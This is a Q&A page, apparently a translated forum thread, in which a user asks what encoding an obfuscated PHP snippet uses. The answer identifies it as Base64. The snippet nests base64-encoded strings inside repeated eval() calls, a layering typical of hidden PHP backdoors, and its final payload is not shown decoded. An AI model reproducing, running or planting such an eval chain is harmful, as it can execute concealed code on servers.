这是什么类型的编码？

Question

你能告诉我这是什么类型的PHP编码：

<?php $ONbp = 'ICRvd0NwID0gJ0lDUkZUbTlJSUQwZ0owbERVbTFXVm1SNlNVUXdaMG93YkVSVmJsSlVWbXRhUzFOVlVYZGFNRzkzWWtWU1ZtRjZSbUZaYTFaTFRteE9WbFZZWkdGTlJ6a3pXV3RXVTFadFNsbFJia3BhWWxSV1ExUlhlRTlXYkZKVlVXeENWMVl6YUVaV01XaDNZakpHUjFSclpGUmhhMHBoV1ZSQk1WSkdVbkphUlhSWVVqRmFTbFp0TVhkaVIwWnlVMjVrV0Zac1duWldWRUY0VTBaU2NsWnRiRTVOV0VKUFZrWlNTMVZ0Vm5OalJXeG9aV3RhVDFSVlVrWk5WbEp6WVVkR2FHSlZjRmxXUjNCTFZsWmFjMU51YkZWaVJsVXhWbXRWTlZaV1ZuUmhSbEpUWVRJNU0xWXhaREJVTVU1ellqTnNWMkV5YUU5V01GVXhWVlpzYzJGSE9XbE5WM2d3VkZaa2QxVkdXbGhsUkVKWFlsUldXRlV5TVVkV2JFNTFZMFpvVjJKVk1UUlhWekUwVVRGYVIxUnVVbXhTTW5odlZteGtNR1ZXVlhsT1dHUnNZa2M1TTFrd1ZtOVdWMFp5WTBoT1dtSlVRVEZaYlhoVFUwZEplbHBIUms1VFJVVjVWMnhXYWs1V2JGZFhXR1JZWW10d1YxVnFTalJqVmxKeFVXNU9VMUpzV2pCWk1HUXdZVmRLY2xKWWJGWk5WbHBQVkZWVk5WWnRTa1pWYkhCc1lsZG9lVlpYY0V0Tk1sRjRZa2hLWVZKc2NFMVVWV2hDVFZaV1YyRkdaRlJpUlZZMFZUSndRMWRIU2toaFJsSmFWbFp3ZFZwWGVGZGtWa1owWkVaT1RrMXRhRFpXVkVaWFZHc3hSMkl6WkdwU1JuQnlWRlJHZDJOc1ZuRlRhazVyVFZkNGVWZHJXbUZVUlRGSlVWUktXbVZyY0hKVmVrWktaREExU1dKSFJsZGxiRmw1VmpKd1EwNUhUbFpOVldoaFVsaFNjMWx0TVc5a01WbDRWMjA1VlUxcmNFZFphMVp2WVVaT1NHVkhhRmRoYTFwNVZHeGFUMWRIU2toalIwWk9VMGRvTTFaV1dtdE5SMFp5VFZoU2EwMHlVbGxaYTFweVRWWlNWMXBGT1d0U01VWTFWMnRWZUdGR1dsWlhha1pXVFZkU2VsVlhNVk5qTVVaMVVXeHdiR0pXU2t4V1ZsSkhVekpPVjJORmFFOVhSMUpRV1ZSS05GSldVbkpWYms1VVlrVldOVlpHVWxOWGJVcElWV3hvVlZaV2NIcFdhMXBIWkVVNVdHUkdVbE5oTWprMlZtdFdZV0V4V1hsV2EyaFdZa2RvY0ZWclZuZFZiRnBWVVc1a1UxWnRlSGhWTVZKSFZHeEtkVkZzYkZWaVJrcEVWa1phWVdNeFRsVlNiSEJPVWpGS1dGZFdXbGRqTVU1SFZXNVdXR0pYZUhCWmExWjNaV3hrV0UxRVJsWmhlbXhYV1d0b1YxWnRTbGxoU0U1V1RVWndTRlJYZUhOV2JVWkhWRzEwVTAxSVFrZFhXSEJMWVRGa2NrMVlVbWhTZW14aFZGZHdWMVZHYkhKYVJrNVRWbFJHV0ZZeWVHdFZNVnAwWkROa1YxSkZTbEJWTW5SNlpESk9SVmR0Y0U1aVZrcE5WbGR3UWsxSFZsZGpSbWhQVjBad2FGUlZhRzlsUmxKV1drZDBWRTFzV2pGWlZWSkRWMGRLU0dGR1VscFdWbHA2VlRCVk1WZEhSa2hpUm1ST1ZteFZlRlpVUm10TlJsVjVVMnRvVlZkSGVGWlpiVEUwWWpGWmQxWnJjR3ROVjNoWVYxaHdWMkV4V2xobFNHUldWbnBHTTFsV1ZYaGpWbHBaV2tab2FWSXdNVFJXUmxaaFVURmFSMVJzYUU5V1dFSlRXbGQ0UzJSV1ZYbGtSM0JzVWpCd1NWWlhkRzlWTWtwWFkwZG9WbUZyV21oVWJYaHJWMWRLUmxOdGRGZFdNMmhHVmpGU1MyTXhUbk5TYWxwaFRUQndWVmx0TlVOT2JHUnhVVzVrVkZKc1NuaFZNakUwWVZkS1ZXSklWbGRTVjFJeVdrUkdkbVF5VGtWWGJYaFVVbXR3YjFacVFtRlRNa2w0Vkd4YVdtVnJXbTlWYWtKM1YxWmFjMVZ1VGxSaVZWWTJWbGMxVDFsV1duUmhTRXBoVW5wR1VGcEZXbGRrVjA1R1kwZG9WMVpZUWpSV01XUjNVMnN4VmsxVlpHcFNiV2hRVm10V1MxVnNXbFZSYms1clZtczFWMVpHVWtOWlZURkpVV3RzVlZadFVUQlpWRVpLWkRGa2RFMVdjRmRTV0VKWlZrZDRhMVZ0VmxaUFZteHBVakJhVTFSVlZscGxSbFY0Vm1zNWFHSlZXbGRaYTFaVFZVWkZlbFZyZUdGV2VsWlFXVzE0VDJOc2NFWlBWVFZwVm14dmVGZFhjRXRoTVZKWVVtNUdVbUpVVmxWWmJUVkNUVVp3UmxkdVpGaFdiRm93V1ZWV2QxVXlWbk5YYmxwWVZqTm9jbFp0Y3pWV2JVcEpVMnhhYVdFd2NIaFdSbEpIVXpBMVYySkdaR0ZTV0ZKUFZtcEdTMU5XYkhKaFIwWm9WakJhVjFscll6RlhSbHBHWVhwR1lWSnRVbFJWTUZwaFpGWmFkR1JHVGxOU1ZYQXpWbXhrZDFNd05VaFZiazVwVTBaS1ZGbHRjekZUTVd4WFZtdGtUbUpHV2tsWmEyUjNWREF4U0dWRlZsZFdla1l6V1ZSS1MyUldSbFZUYkZKWFZsUkNNMVpFUmxkak1VcEhZa1JhYUZJeWVGaFVWbHB6VFRGWmVGZHJPVkpOYkVwWVdXdGFiMVJzV1hwaFJrcFhWa1ZLTTFWVVJuZFNNa1pIVkcxc1RtRXlkekpXVkVacll6Rk9jMU5ZWkU5V1JYQmhXV3hTVjFaR2JISmFSWFJyVm14YVZsbHJWbmRoUjFaeVZtcFNXR0V4V25KWmFrRjRWbTFLUmxWck5WTk5iRXA0VmtaU1IxbFZNSGhoTTJSYVpXeGFjMVpxUmt0U01WWllUbGQwV2xac2JETldNbkJYVjIxRmVXRklTbHBoTVhCNldrWmFVMlJXWkhSaVJsSlRZa2QzZWxZeFdtRmhhelZZVld4YWJGTkdTbkJWTUZwaFV6RnNWMVpyWkU1aVJscEpXV3RrZDFRd01VaGxSVlpYVm5wR00xbFVTa3RrVmtaVlUyeFNWMVpVUWpOV1JFWlhZekZLUjJKRVdtaFNNbmhZVkZaYWMwMHhXWGhYYXpsU1RXeEtXRmxyV205VWJGbDZZVVpLVjFaRlNqTldhMXB6WTFaT2NtUkhkR2xXYTNCTFZtdGFhMk14VG5OVFdHUlBWa1Z3WVZsc1VsZFdSbXh5V2tWMGExWnNXbFpaYTFaM1lWWlplbG96YUZkTmJsSnlWbXBCTVZKdFZrWmhSbWhwWWtoQ2QxWlhjRTlpTURGelkwVnNhVkpZUW1oVVZXaHVUV3hTY2xsNlJsWlNNVnBYVlcwMVMxZEdXa1pPVjJoVllsUkdXRmt3V2tkWFZscHpVbXhhVGxKWVFYaFdha28wWWpGVmVWTnJhRmRoTW5oWFdXMHhORmxXV1hkV1ZFWnFUVmhDUjFsVldrOWhiRWwzWTBSQ1dGWkZhekZWZWtGNFVsWktjMWRzWkZOU1ZuQlZWbFJHVjJRd05WaFNhbHBoVWxoQ1UxUldWbmRsUm1SeVdYcEdhMDFFVm5sWmExWlRWREZLU0dWRmRGWldSWEJQVkd0YWMyTnNjRWxVYlhSWFRVWnJlRlpXWXpGak1XeFhWMWh3V21Wc1dsVldibkJYVlVaU1ZscEdaRmhTTVZwSldsVmtkMVJ0U2xoaFNIQlhUVzVvZGxaWE1VZFdiVXBHWWtaYWFHSkdjSGhXVjNCSFZtczFWMVJzYUU5V2F6VndWV3BHWVZOc1dsZGhSMFpZWVhwQ00xUnNVbUZXUmxsNVpVVlNXbUZyY0ZCYVJWcGhaRVV4VjFKc1drNVRSVW8wVmpGb2QxUXhVblJWYmxKVlYwaENWMWxYZUdGalJsWnhVbXhrVGxadFVsWldSM00xWWtkRmVXVklaRlpXYldob1ZsWmtSMWRHVWxWVWJGSlhWbFJXVlZkV1kzaFZNbEpZVkd0V1dHRXpRbE5hVjNoR1RWWlZlRlpyT1doaGVteEpWVEowYjJGV1RrZFhiVGxoVm14YVRGUnNXbXRqTVhCRlZHeENWMVl6WjNoV2EyUjNVVEpLUjFkWWNHaFRSVFZoV2xkMGQyUnNiSEpYYm1SWVZteGFXVmxyVm5kV1JrcHlZVE5vV0ZaRlNuSldiWE0xVm0xS1NWWnNXbWxYUjJoNlZsUkNZVkl3TVhOYVJsWlZZWHBzYzFsVVNqUmtNVlpZVFVSV2FHSlZjRmhXTWpWVFZteEtjazVWZUZwV2VrWlBXbGQ0VTFkV1pITmpSVFZvWWxobk1sWXhaSGRVTVUxNVVteG9WRmRJUW1oVVZFWmhXVlpTVlZGVVJrOWlSVFZaV1d0V1MyRXlTa1pUYm1SWVYwaENjbFV5ZUVaa01VNTFWR3hvVjFKWVFqSlhhMlF3WXpGS1IxWnVVbXBTTTFKd1dXMTBSbVZXV2tWVWJrNVNUVVJHV1ZVeU5WZFdWMHBaWVVoS1ZsWkZjSEpaTW5oclZsWlNkRkpyT1dsV2JIQXpWMVpvZDJFeFRuTlNiRlpPVWtkNFRGcFhOVTlqYkdSWFZteEtZVTFWU2xWVlZtTXhVekZLY2xOWWJGaFdNbmhEVkRGV2MxTkdUblJoUjNCT1lrWldOVlpIZEZwT1YwVjRZMFpvVldKc2NHaFZha1pYWkd4T2NsWnFVbWhXYkZwS1ZrWm9RMVZIVmxaVGJrNWhVbnBHU0ZsNlFqQlNSbFp6VW0xMGFWWlhlRE5XUkU1ellXczBlR05HYkZoaVYyaHdWVlJLYTJOc1pGZFdiRXBxVWxScmVsVkdVWGRpYXprMVZXeHNWVlV3UlRWVFZVNXFZVEZHZEZkdWNFcFNSRUp1VjFjeFIyVnNjRlZYVkVKWlRXeEtjMWRVU1RWaE1YQlVXakowYVZaWGVGTlZNVTV5VGpCc1NGWnFTbHBXTTJSMlUydFdTMkpYVGpWaGVtUkxaVzVTYzFwSE1VZGpNSFJFVld4c1ZWVXljek5LZW5OcldWVTRaMUJUUVc1S1NHeHRZM2xCT1VsSFNtaGpNbFV5VGtZNWExcFhUblphUjFWdlNrZGFWbFl6VFhCUGVVSnNaRzFHYzB0RFVqVmFiazF3VDNsak4xcFlXbWhpUTJkcldWVTRjRTkzUFQwbk95UkNUQ0E5SUNja2RscGhJRDBnWW1GelpUWTBYMlJsWTI5a1pTZ2tSVTV2U0NrN0lHVjJZV3dvSkhaYVlTazdKenRsZG1Gc0tDUkNUQ2s3JzskbHEgPSAnJFpuTSA9IGJhc2U2NF9kZWNvZGUoJG93Q3ApOyBldmFsKCRabk0pOyc7ZXZhbCgkbHEpOw==';$cD = '$LVt = base64_decode($ONbp); eval($LVt);';eval($cD);?>

我们可以解码吗？如果是，我该怎么办？

Answer 1

这种类型的编码称为Base64 - http://en.wikipedia.org/wiki/Base64

你可以使用PHP中的base64_decode()函数解析它（你可以看到它附带的代码片段）或在线那里 - https://www.base64decode.org/